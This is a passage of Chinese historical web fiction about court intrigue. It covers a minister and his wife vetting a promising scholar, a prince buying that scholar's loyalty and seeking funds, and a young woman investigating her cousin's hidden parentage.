孩童咿咿呀呀的声音传来
林怀新深吸一口气,一脸豁出去的表情往那走。
刘驰连忙跟上,两人绕过假山,终于看到了人。
怔愣当场。
他们看见了什么,朝堂上呼风唤雨的窦绍蹲在地上,在逗孩子。
“这两盆花不能揪,这可是你娘的宝贝。”窦绍眼疾手快拦住了女儿的魔爪
听到动静,窦绍转过头看向他们,又变回了那个冷脸的权臣:"来了。"
变脸速度之快,刘驰差点一位看花眼。
窦绍见两人愣在那里,微微皱眉。
全贵轻咳一声,两人反应过来,有些局促地整了整衣裳,郑重见过窦绍。
刘驰悄悄朝林怀新使眼色:你说的不对!真的是窦大人要见他们!
林怀新也有些错愕,继而心中升起狂喜。
他还绷的住,刘驰都已经激动的红了脸。
"我们去亭子里坐。"
窦绍让乳娘把女儿抱走,经过他们面前时小卫儿很热情地打招呼。
卫姜听说人已经到了,便也来了园子里,半路碰到往回走的赵慧娘。
原来她是准备去园子里摘些花,没想到舅父在会客,她又退了回来。
“这有什么,园子那么大,又不会妨碍到他们。”卫姜笑道,又带她重新返回。
总不能因为来了客人,就让她回避吧。
亭子里三人从文章学识聊到了国策时政,从边关战事谈到了江南赋税,林怀新虽未入仕却也颇有见解,对各种时弊皆言之有物窦绍也不得不赞同卫姜的话,此人确实是良才。
“在聊什么呢?”
卫姜突然出声打断了他们的对话,林怀新和刘驰肉眼可见的紧张起来。刘驰仗着方位好,悄悄地打量着来人。明艳动人,巧笑嫣然。他说错了,这哪里是什么半老徐娘,明明正值花信。这就是新宜县主吗?他又忍不住偷瞄一眼心中暗想:要他是林怀新,真被这样的贵人看上,他干脆就从了。赵慧娘见有外男在,红着脸匆匆行了个礼,便去办自己的事了。“你怎么来了?”窦绍朝她伸手,让她坐在身边。林怀新和刘驰起身起礼。"我也对两位滨州才子好奇啊。"卫姜一双眼盯在林怀新的身上,不停打量,看的人毛骨悚然。林怀新紧绷着心神到离开,连看一眼卫姜都不敢。“你今日一直盯着他看,怎么?那林举人很好看?”送走了客人,窦绍就阴阳怪气开口了。
“那肯定是比不上你这个探花郎了。”说完她的眼神在他脸上绕了一圈,带着几分调戏的轻浮。
看在他今日表现不错的份上,卫姜投桃报李夸了夸他,就是夸的不怎么走心。
窦绍却没有见好就收,睨了她一眼:“那你还看那么久,没看到别人脸都红了。”
这要是不知情的,还以为她对别人有什么想法。
比如收个门客什么的?
这么一想,窦绍眼神变的凌厉,脸也黑了下来。
“你脑子里都装的是些什么?”卫姜真想把他脑子里的水倒出来看看。
“这叫欣赏,请不要用龌龊的心思揣测别人。”卫姜气到了,插腰。
“难道你见到声名远播的……”明星,她换了个他能听懂的词:“花魁,对,你见到非常非常红的花魁,难道就不会欣赏性的多看两眼?“
窦绍脸更黑了,冷冷瞥了她一眼,硬邦邦道:“不可能,我根本就不会去有花魁出现的场合。”
你赢了,求生欲这么强。
卫姜无语:“我就是打个比方…”
见他又要说话,卫姜用手指抵住他的嘴,:“你别说了,说的我都不爱听,行了,下次不看了可以了吧。”
真是怕了他,胡搅蛮缠,不可理喻。
卫姜狠狠地瞪了他两眼。
不过听到她把林怀新和花魁相提并论,窦绍忽然就不生气了。
窦绍笑了,拉下她的手握紧,"我也不是小心眼的人,我主要是怕别人误会你。"
是啊,可大了,比针尖大。
“你说他会站在我们这边吗?”卫姜把话题扯回正题。
“很重要吗。”窦绍不以为意,就算未来的他很厉害,如今的林怀新只是个举子,若他真的不识时务,窦绍有自信能摁的他一辈子出不了头。他的笑意带着残忍,却在卫姜转头时又变的温和。
“把朋友搞得多多的,把敌人搞的少少的,懂吗?”卫姜抬起下巴,对他的话很不满意。窦绍忍笑点头,后面这句他一直是这么做的,对敌人不能心慈手软。
“这个林怀新有些复杂,还是要再看看。”窦绍算是解释了下。
他查到长公主府的周驸马对他也很赏识,甚至有想招他为婿的想法,如今他又跟潞王府搭上话,就算他愿意投靠过来,窦绍也要谨慎思量。
卫姜错愕,“不可能吧。”
长公主和周驸马可只有周琼英一个女儿,他们怎么可能看得上林怀新这个穷书生。
难道她们也知道他是个潜力股,未来会成为大佬。
窦绍:“是周驸马有这个意思,而且周家择婿从不看门第。”
三代五尚书,七科八进士的周家在士林中声望很高,成为他们家的女婿林怀新不可能会拒绝。
如今长公主又和潞王搭上了,周家会不会偏向潞王不好说。
卫姜有些疑惑,既然周家这么厉害,怎么会让自己儿子做驸马,要知道本朝驸马是不能参政,只能挂个虚职,算是仕途尽毁。
难道是周驸马读书不怎么样?
窦绍摇头:“周驸马若是入朝,周家怕是又要出一个翰林大学士了。”
不过至于为什么当了驸马,其中内情窦绍就不知道了,这门婚事是先皇钦赐。两人生了两子一女,想必感情还是不错。
卫姜瞥了他一眼,同样是被人看上了,周驸马比他惨多了,至少窦绍还是能继续施展他的抱负。
窦绍只当自己没看懂她的眼神。
……
马车里,被谈论的林怀新沉着脸不啃声,一旁的刘驰忍了又忍,还是没忍住:
“我看其中应该有误会,新宜县主看着也不像是那种人。”
虽然她一直盯着林兄看,可眼神很清澈没有半点狎昵之态。
而且据他观察,县主和窦大人感情看起来很好,至少还没到貌合神离的地步。
刘驰觉得,说不定新宜县主只是想做媒呢?他今日可留意到县主身后还有一个年轻姑娘。
虽然他只是扫了一眼背影,看身姿也是丽人,他觉得招婿才更有可能。
林怀新:“我知道。”
他又不是瞎子,哪里看不到他们夫妻间不经意的亲密动作,他自己能感觉到新宜县主对他更多的是好奇。
是自己胡思乱想了。
既然知道,那你的脸色怎么这么难看,刘驰欲言又止。
林怀新抬头看她,一脸严肃:“刘兄,我恐怕不能和你同住了?”
刘驰错愕:“你………你哪来的钱?”一个人住可是很花钱的。
今日窦大人知道他们窘迫境况还好心给他们介绍了抄书活计,怎么忽然间日夜相处的小伙伴就富裕了?
刘驰忽然难受起来了。
林怀新解释道:“我恐怕是惹上麻烦了,还是不要牵连你的好。”
刘驰心中一松,忽然意识到这样不对,他应该为好友担心才对:“什么麻烦?我不怕麻烦,我是哪种怕朋友牵累的人嘛?而且我们可以找窦大人帮忙啊!”
窦大人待他们亲近随和,让刘驰有一种是亲人的错觉。
林怀新摇头,他的麻烦就是因窦大人而起。
他曾经无数次抱怨老天待他不公,今日却庆幸上天还是眷顾他的,让他先见到是窦大人,也万幸窦大人和县主是恩爱夫妻。
不然…不然只怕他就真的掉入别人设计的套里去了。
他满腹的怨愤,但又迫于形势必须和县主虚与委蛇,心高气傲的他怎么可能不想着报复,可势单力薄的他会怎么做呢?自然是求助对他心怀善意还赏识他的潞王府。
可真是好算计,他林怀新何德何能竟然能被潞王选中成为一颗棋子。
他自嘲笑了,笑容苦的刘驰看了都心疼。
两人一脸都沉重,挥手送走了窦家的车夫,才回到屋里坐下,门就被敲响了。
“林兄,是潞王府的人。”去开门的刘驰回来了,他的脸色有些难看。
潞王府的人怕是盯上了周怀新,他们刚回来就知道了。林怀新点头,往外走,经过身边时被刘驰拉住手臂:“林兄,既然你不想卷入是非中,还是离潞王府远一点吧。”
潞王府和窦家的恩怨不是他们这些小人物能掺和的。林怀新苦笑,已经晚了。
现在作出选择,他势必要得罪一方,他之前连一个县主都不敢反抗,难道还敢惹一位皇子吗?
潞王府还是要走一趟的。
他拍刘驰的肩膀:“放心吧,我有数的。”林怀新这一去,直到半夜才回来。
刘驰担心的半宿没睡,没想到回来的是个醉鬼。
"你怎么喝成这样?潞王到底和你说什么了?"
林怀新可从不喝酒的,定然是有了烦心事,刘驰扶他躺下。
“我高兴,刘兄。”林怀新大叫了一声,有些怀疑问道:“你说我选对了吗?”
也不知道在说什么醉话,他敷衍了几句,准备帮他脱掉外衣。
林怀新能穿出门的衣服不多,糟践了明日怕是就没得穿了。
什么东西轻飘飘落了出来,刘驰低头去捡,是两张五十两的银票。
“哪来的钱?”刘驰心中已经有所怀疑,口气有些重。
林怀新眯着眼看了一眼,忽然笑了:"潞王给的。"
刘驰沉声:“你真决定好了吗?”
“嗯,想好了。”林怀新看着他,“刘兄,我不是个认命的人,我想博一场富贵。”刘驰还想劝他:“以你的才学,明年科考一甲也是有望的,何必这么早卷入这些事情中。”他心里还是不太看好潞王,以林怀新的资质,高中后按部就班地进入仕途,未来的路也不一定难走。
林怀新:“我没得选。”
刘驰默然。
是啊,不做个选择,他能不能进考场都不一定。卫姜捏着鼻子嫌弃地躲到一边。“你怎么喝了这么多?”窦绍就着茶水漱口,闻了闻衣服,也没那么重吧。
"我就喝了三两杯。"
“你不是去东宫了吗?怎么喝起酒了。”卫姜开窗拼命探头去呼吸新鲜空气。
这嫌弃的样子,窦绍感到好气:“下次不喝了。”
“信王回京了,太子和信王怕是有话要说,我便提前出宫了,路上碰到一个人喝了几杯。”他看到屋子里乱糟糟的,问道:“你这是找什么呢?”
卫姜:“苏青快要生了,我让人翻翻看有没有适合送礼的。”窦绍道:“何必这么麻烦,让人去买些来就是了。”卫姜给了他一个眼神自己体会。真当自己钱多的花不完吗?卫姜在心疼钱的时候,潞王府也有人在为钱发愁。前些日子府里账面上还有二十来万,今日再问就剩三万两了。潞王用力揉着额头,感觉头发都要愁白了。“你就想不到一点办法吗?”潞王瞪着自己的心腹。
刘进:“殿下,不如再找一个柳大福?”
潞王明白他的意思,可柳大福又岂是那么好找的,“你有合适的人选?”“太原沈家倒是派人来和我接触过几次,想要为殿下效力。”
潞王微微一笑,这个沈家倒是有些眼力。"他们家是做什么的?"
刘进回道:“他们祖上是做盐布起家的,家里养了几支商队,有的去西边有的去北边,身家不比柳大福薄。”
倒是个好人选。"他们想求什么?"
刘进:“沈家如今不缺钱,但是无权无势没有依仗,他们想送几个族中子弟来殿下身边效力,还有……”他偷瞄来一眼潞王,压低声音道:“沈家也想和殿下成为一家人?”潞王挑了眉头:“只是个妾室也不是不能答应,不过这个沈家胃口有些大……”
"还有其他家吗?"
刘进摇头:“其他的都没有沈家这样的身家。”潞王往后一靠,“我再想想。”“殿下,王妃求见。”“让她进来。”
刘进刚刚跟潞王说了纳妾的事情,乍然见葛月有些不自然,他低头恭敬退出书房。
“你怎么来了?”
葛月清冷的眼像是看穿了潞王:“府里是没钱了吗?”
潞王有些难堪,“放心,少不了王妃的用度。”
葛月知道他误会了,但也不想多费口舌解释,她从袖口掏出一个小盒子。
潞王有些讶异,抬头看她。
葛月示意他打开。
“这是他留给我的,城外有个庄子,院子里有三棵大柳树,树下他埋的有三万两黄金,我想应该能解眼前的燃眉之急。”潞王激动地站了起来,手忙脚乱打开盒子,里面果然放了一把铜钥匙。他绕过来,握住葛月的手:“能得爱妃这位贤内助,实在是小王的幸运,你放心,待我熬过这一阵子,以后我定加倍还你。”葛月看着两人握在一起的手,嘴角勾起:“夫妇一体,为殿下分忧是应当应份的,这笔钱本就是为殿下遇到不时之需准备的。”“柳公的心我是知道的,以后我一定替他正名。”
葛月浅笑。
这笔钱是柳大福被抓前偷偷交给她的,也是柳大福为她准备的退路,他怕自己死后,潞王会薄待葛月,虽说钱不是万能的,可有钱日子总是好过些。但葛月却不这样想,潞王若是失败了,她有这钱又有何用,何况潞王是个聪明人,应当知道她的能力,他要登上那个位置,就离不开她的筹谋。
潞王不敢负她!
有了这笔钱,潞王眼前的困境算是解了,他让刘进明日带人去取这笔钱……
刘进有些走神。
“想什么呢?”潞王问道
刘进:“属下在想,柳公就只给王妃留下这三万两?”
刘进的话提醒了潞王,柳家是江南豪富,既然能偷偷给葛月留下三万两黄金,会不会还有其他的三万两呢?为什么要等到他没钱了才说出来?是她的意思还是柳大福的安排?是想要拿捏自己吗?潞王脸上闪过恼意。葛月洗漱完,前院传来话,潞王今晚不回来。没一会儿自己侍女柳芽儿回来了。
“怎么样?”葛月问道
柳芽儿点头:“确实如三小姐所说,大小姐那院子以前是府里预备给三老爷成亲住的,只是后来三老爷没了,老夫人就把院子给了大小姐住。”她怕弄错,接着问了好几个苏家的老人,大家都是这么说,至于为什么给大小姐,大概是老夫人疼她吧。
“打听到三叔是怎么没的吗?”
柳芽儿:“就跟府里说的一样,在南边的时候渡船失足落水,救上来时就没了。”
听着没有什么问题,难道是她想多了?
葛月挥手,让她下去,半路又叫住她。
"明日你再去苏家一趟,警告下苏妍,十日后若是有了新消息,我可以考虑带她去长公主府?"
长公主幼子配苏家二房嫡女,多好的姻缘啊!
葛月眼中闪过冷意。
62、第62章...
苏青平安诞下长女,消息传回苏家,苏老夫人亲自在佛堂前奉了三炷香。
“老天保佑。”
窦明扶起老夫人:“卫家的人也说了,这孩子心疼娘,没怎么折腾就出来了,很顺利,大姑娘也没怎么受罪。”
老夫人笑道:“我就忧心着她这几日要生,没想到竟然选了半夜,好在一切平安,等下你代我去看看她和孩子。”
说完轻轻咳了几声。
她这两日身子不舒服,怕过了病气,等自己大安了再去卫家看孙女。
“把我准备的东西也都带去。”
“祖母放心,我知道的。”
苏妍满脸喜色地闯了进来,“祖母,我听说大姐姐生了?”
老夫人难得没有训斥她冒失,笑着道:“给你添个外甥女。”
苏妍挨着老夫人坐下,“祖母,我想去看看大姐姐,还有外甥女。”
老夫人慈爱道:“去,和你嫂子一起去。”
苏妍看向窦明,脸上带着不自在,似乎还在为当初做的错事懊悔。
窦明对她点头示意,苏妍回来的第一件事就是给她赔罪,和她说话时也总是一幅愧疚的模样,好像在告诉所有人,她已改过自新,深刻认识到自己的错误。
窦明心中撇嘴,面上笑的亲和。
不过她的表现也有效果,苏家的人也确实这么想的,都在谈论她懂事了,脾性变了,不再事事掐尖要强。
人的秉性岂是一朝一夕就能改的,窦明疑心她另有目的。
加上她近些时日和潞王妃走的近,而且又突然关心起苏青的事情来,苏妍的动作可瞒不过她。
窦明心中怀疑这两姐妹是不是嫉恨长辈偏疼苏青,存了什么算计。
窦明吃过大亏,不敢小看女孩子的这些小算计,自然要处处留心提防。
“三妹妹可是准备好了礼物。”
万一苏妍的礼物惹出麻烦事情来,她也会被牵连的。
窦明说笑道:“是不是王妃托你带什么好东西给大姑娘?”
苏妍脸上有片刻的僵硬,“二姐姐要送大姐东西自然会让潞王府的人去送,大嫂怎么会这样问?”
窦明:“看来是我猜错了,我前两日看到王妃身边的柳芽儿来找你……”剩下的话也就不用说完了。
老夫人扫了一眼小孙女,“王妃要操持整个潞王府的事情,你没事就不要打搅她了,要是有什么为难事,找你嫂嫂商量就是。”苏妍:“是。”
早就知道祖母对二姐不冷不热的,没想到二姐当了王妃,祖母还是这般的疏离。难怪她要查苏青以前的事情,还得托自己来,苏妍嘴角微微勾起。
她抱着老夫人的胳膊腻歪:“祖母我知道了,不过嫂嫂猜对了,我还真有一个东西要给大姐,不过………”她脸上有些为难,吞吞吐吐道:“祖母,要不,您帮我拿个主意吧。”
老夫人觉得好笑:“什么要紧的东西,还拿不定主意,难不成拿不出手?”
苏妍让侍女回房去取,很快莺哥就抱着个盒子回来了。
苏妍打开盒子递到祖母眼前:“祖母还认得出这个吗?”
苏老夫人没反应过来,这拨浪鼓看起来是个老物件了,怎么送这个东西,不过听苏妍的话,这东西还有来历。
她仔细端详起来。
苏妍揭开谜底:“祖母不记得了吗?这是大哥哥小时候的东西,还是三叔送的呢!”
听到小儿子,老夫人怔住了,再仔细看那东西,还真是。
可她记得,这东西不是被烧了吗?还是苏妍烧的,老夫人眼里带着困惑。
苏妍咬唇,羞愧难当:“我没有烧,当初我和大姐姐都喜欢它,可偏偏您和父亲都偏着大姐姐,我一生气就骗你们,说把它丢进灶膛了。”
她拉住老夫人的衣袖,一双眼睛红红的。“祖母,对不起,是我心胸狭小,我那时候不懂事,只觉得大人们偏心,我都没见过三叔,我也想要一件三叔送的东西。”老夫人鼻头发酸,浑浊的泪水从眼眶中留下,枯瘦的手指一点点摩挲着小儿子留下的遗物。
“他也没有见到你大姐姐,你们三叔要是在,不知道多心疼你们呢?”
三叔是老夫人心中永远的痛,是苏家不可提起的往事,窦明悄悄瞪了一眼苏妍,刚说懂事了,如今又来闹老夫人。
老夫人的身子本就不好,她还故意勾起伤心事。
“老夫人宽宽心,三叔地下有知定然不愿意看您为他如此伤怀,累的他在阴司还要背上不孝的名声。”
老夫人啐了一口:“他就是个不孝子。”年纪轻轻就抛下老娘走了。
“祖母,都是我不好,我不应该提起这件事的。”苏妍轻轻为祖母擦泪。
老夫人缓了片刻,问她:“今天怎么又想着把它拿出来了。”
苏妍:“这是我对姐姐的心结,可如今我懂事了,想和姐姐认个错,让她不要记恨我的任性。”
老夫人欣慰拍她的手:“你姐姐不是那样的人,一家子姐妹有什么记恨不记恨的。“
“小时候你爹和你三叔也天天干仗,可长大了就好的跟一个人似的,他有什么话不愿意跟我说,都是跟你爹商议,你爹喜欢丹青,你三叔天南地北的给他找稀奇的颜料,他喜欢自由自在,你爹就跟你祖父谈判,他进军中做事,让你祖父多放你三叔几年自由。"
老夫人想起往事,有片刻唏嘘,也就是这几年自由让小儿子送了命。
老二觉得是自己害死了弟弟,变得沉默寡言,连最爱的丹青也不碰了。
苏妍愣了,她从来都不知道父亲会丹青,倒是大伯父心潮来了会画两笔。
"你是想把这个送给你姐姐?"
苏妍从走神中苏醒,点头道:“这本就应该属于她的,我想把它物归原主。”
老夫人轻轻晃动着,脸上带着些动容,“是啊,本就应该是她的,就物归原主吧。”
窦明:“这倒不像是京里的手艺。”
京中做的那些花样,十几年没变过,苏妍的这支倒是有些异域的味道。
老夫人道:“这是你们三叔跟着当地人学的,都是他亲手做的,这上面的纹路也是他一笔笔涂上去的。”
这倒是苏妍没注意到的,她只是觉得这支拨浪鼓有些奇特,还以为是京城十几年前流行的款式。
“那这是哪里的图案,和我们京城的不一样吗?”苏妍好奇问道。老夫人目光清醒了些,随口敷衍道:“这谁知道,他四处跑,也许是南边的什么村子寨子的。”窦明伸手想要拿过盒子,“那我先帮妹妹收起来吧,时辰也不早了,我们也该去卫府了。”老夫人点头:“对对对,早点过去。”
苏妍一把把盒子抱住,讪笑道:“我自己拿,不麻烦大嫂了,我先回去换件衣服,马上就回来。”
说完就抱着盒子跑了,老夫人无奈摇头。
好像生怕被人抢了一样,窦明眼底闪过狐疑,难道这拨浪鼓有什么古怪?
回到房里,苏妍立马拿起纸笔对着拨浪鼓的花纹描了起来,窦明的话提醒她了,其实还有其他方向可以查的。
"等下你把这个拿去外面找人查查,看看这是哪里的东西?”她交代莺哥,“你小心些,不要让人发现了,还有,今日这事任何人都不能说。"她直觉苏青的身世说不定和三叔有点什么关系。
苏青住了三叔的院子,这本就不合常理,因着三叔没了,家里怕祖母伤心连提都不能提,三叔的东西全部被封存了,可偏偏这个院子给了苏青住。如今就连三叔的拨浪鼓祖母也要给苏青。
物归原主,其实真正说起来,也该给大哥家的侄子。
苏妍不免带着恶意揣测,难道她是三叔的私生子?
可若是三叔的孩子,祖母为何不光明正大的认回来,反而故弄玄虚藏藏掖掖。
难道是生母的身份太不堪,丢人的很?可是还有什么比奴婢出身还差的?
妓子?
苏妍点头,这就说的通了?
苏家大小姐的生母是个青楼妓子,也不知众人知道真相后如何看待这曾经的京城第一贵女。
葛月应该很满意这个结果吧。
苏妍带着畅快的笑,差点没抑制住内心的激动,想要立马去告诉葛月。
长公主家这门亲事是她的救命稻草,她必须要握住,不然她就要去西北,按照爹娘的意思嫁给他们看好的本分人家。
那黄沙漫天的地方,她会死在那里的。
可仅剩的那一点理智让她清醒过来。
还不是时候,她要拿到更多的证据,这样葛月才不能推脱她答应的事情。
卫姜到的时候,窦明带着苏妍已经到了一会了,苏青刚刚生产,脸上带着些苍白,可能刚做了母亲,眼神都柔和了很多。
众人寒暄片刻,说起孩子经来,卫巧珍就快出嫁了,羞的满脸通红,想要回避,偏偏苏妍抱着孩子不肯走。赵慧娘也有些不自在,转头只见苏妍抱着刚出生的外甥女,眼不眨地盯着看。
“大嫂,你看,她的眉毛和大哥好像。”苏妍好像发现了什么稀奇事情一样,一脸的兴奋。
有夫人附和道:“这外甥似舅也不奇怪。”
话音刚落,场面一时安静潞,苏青的身世谁不知道,哪来的狗屁外甥似舅。
“我看看。”窦明凑了过去,仔细端详后笑道:“是有点像,不过还是更像大妹妹些。”
卫姜开口了:“这么小能看出什么,就几根黄毛还能看出像谁了,你们眼神也太好了些。”
说完冷冷瞥了眼苏妍。
苏妍想要开口又惧怕卫姜,孩子被她抱的不舒服,哼唧起来,苏青顺势叫乳娘来带她下去喂奶。
卫巧珍一向惧怕苏妍,虽然是主人却不敢劝她,赵慧娘只能上去把她拉了出去,“我们去园子里玩会儿。”
趁着周围没人,卫姜拉着窦明说起话来。
“我看那个苏妍可没怎么改?你多留意点她。”
今日她那话说的就没过脑子,故意卖蠢恶心人。
窦明笑道:“这次她肯定不是这个意思,她啊……”她把眼睛转向屋里:“她盯上苏青了。”
她把苏妍这些日子的异常表现都说了一遍,“我猜着应该是潞王妃授意的,如今她又好像盯上了三叔的事情,今日还在套祖母的话。”
她们是疑心上苏青的身世了?
卫姜凝眉,苏青已经嫁人,她也成了潞王妃,怎么还盯着不放呢?就连葛月的身世都另有隐情,卫姜也不敢再信什么原剧情了。
“苏家这位三爷你知道些什么?”难道他真的和苏青身世有关?
窦明摇头,“为了怕祖母伤心,家里很少提三叔,有关他的事更像是一个禁忌。”
她犹豫了一下,“要不?我问问世子?”
卫姜:“不用。”
既然苏家不让提起,自然是有原因的,不能为了这些事情让窦明为难。
她安慰窦明:“没事,我会提醒大嫂她们留意的。”
苏青如今是卫家儿媳,她要是出了什么事,也会牵累到卫家,窦明也是因为这个原因,才特意提醒卫姜。
晚上卫姜把事情说给了窦绍听。
“你和这位苏家三爷熟吗?“岁数也隔的不远,同在京城说不定窦绍认识呢。
听说这位苏家三爷能文能武,当初还以为他要走科举入仕,可没想到他只是考了个举人就跑了。紧接着没两年就听说他死在外面了。
窦绍摇头,两家那时候关系没有如今近,窦家开始败落,而苏家正是鼎盛时期,窦绍埋头苦读暗暗发誓要振兴家族的时候,苏家三爷已经名满京城了。
“你觉得苏青会是苏三爷的女儿吗?”卫姜想要听听他的意见。
“不太可能。”窦绍语气坚定。
“苏家老夫人把小儿子看的比命还重,苏家三兄弟也是手足情深,有什么理由不把儿子、弟弟的唯一骨肉接进府里?”
卫姜拧眉:“也许是因为她的生母太过低微,有辱苏家门楣。”
窦绍笑了:“苏家连严氏都容下了,又岂会因为名声不认自家骨肉。”
就算最初是为了有个正紧出身,可葛月身世揭开,他们怎么不顺势为苏青正名,随便找个借口都成。苏老夫人那么疼儿子,怎么会忍心儿子留下来的唯一骨肉不能叫他一声父亲。
“除非……”窦绍咽下了猜测。
"除非什么?"卫姜推他。
除非苏青的身世会带来巨大的祸事,连苏家都害怕的祸,他只想到和一个地方有关。
“没什么,我想着也有可能确实和苏家三爷有关,但不一定是他的女儿……”窦绍没有把猜测说出来,担心她会胡思乱想。卫姜头都绕晕了,揉了两下脑袋:“不想了,反正我就盯着苏妍好了。”苏妍这么帮葛月,定然不只是因为帮她回到苏家这么简单,一定还有其他交易,她只要派人盯紧了苏妍,就能先发制人。苏家的秘密就让苏妍去折腾好了。
……
苏妍见莺哥回来了,立马起身追问:“有没有查到?”
莺哥:“奴婢的哥哥在街头蹲守了好几日,南来北往商队都问过了,没有人认识这个花纹,不过今日有一位西域胡商说他见过纹饰。”苏妍等着她继续说。
“那胡商说在北境草原有一个小部落,他们的人会用这种花纹祝福新生儿平安长大。”
北境草原?不是应该是南方吗?难道三叔去的不是南方?
不过没事,有这个消息她也能给葛月一个交代了。长公主府她可以去了。
她想了想,又对莺哥道:"这样,你让你哥哥去南边走一趟…….
她在莺哥的耳边低语几句,“明白了吗?”
莺哥迟疑点头:“我会跟哥哥交代清楚的。”
“你娘的身子好点了吗?”
莺哥的娘是苏妍母亲的陪房,因为身体的原因没有跟随苏母去西北。
"娘好多了,昨日还说要回去当差呢?"
苏妍笑道:“那就好,我正想让她帮我找一找父亲以前的东西呢?”
***
潞王府书房,
刘进觑着潞王的脸色,试探问道:"王爷觉得如何?"
“给我五成干股,沈家还有得赚吗?”潞王有点不敢吃这个馅饼。
"北蒙生意就这么有赚头?"
刘进答道:“北蒙去年刚换了新王,这位新汗王极其喜欢中原的东西,上行下效,如今只要是中原的物件在北蒙都能买个好价钱,稳赚不赔,去北蒙做生意的商队可不止沈家一家,您放心,沈家是生意人,他要是没钱赚还能给您这么多。"
“殿下不用忧心,占干股这事也不新鲜,京城里谁家不是这么干的,严家、贺家在外面都有生意,不然哪能供得起家里庞大的花销。”
“您也不是与民争利,不过是借个名头让商队免受欺压罢了,因着去北蒙的商队多起来,苏国公下令要对商队严加盘查,沈家没有势力依仗,这才起了让殿下参股的心思。”潞王听的皱眉:“商队若是没有夹私,就算是遇到盘查他也不用担心。”苏国公治军严谨,应该不会出现贪墨的情形。
刘进哎呦一声,脸上带着苦笑:“所谓小鬼难缠,那些底层兵士动作粗重一些就够商队受的。”
他上前一步,低声劝他道:“殿下,那三万两金子可撑不了多久,您不是想开源吗?沈家这生意我看就挺好。”
沈家背后没人,潞王完全可以把他们捏在手心里,当成给自己赚钱的工具。
刘进脸上的凶狠一闪而过,若是他们有了麻烦,他做了个手势。
处理起来也干净。
刘进的话说到了他的心坎上,潞王轻微颔首。
“那就按你说的办,让他们老实点,别在外面坏我的名声,要是让我知道他们打着我的旗号惹事,那就别怪我狠心了。”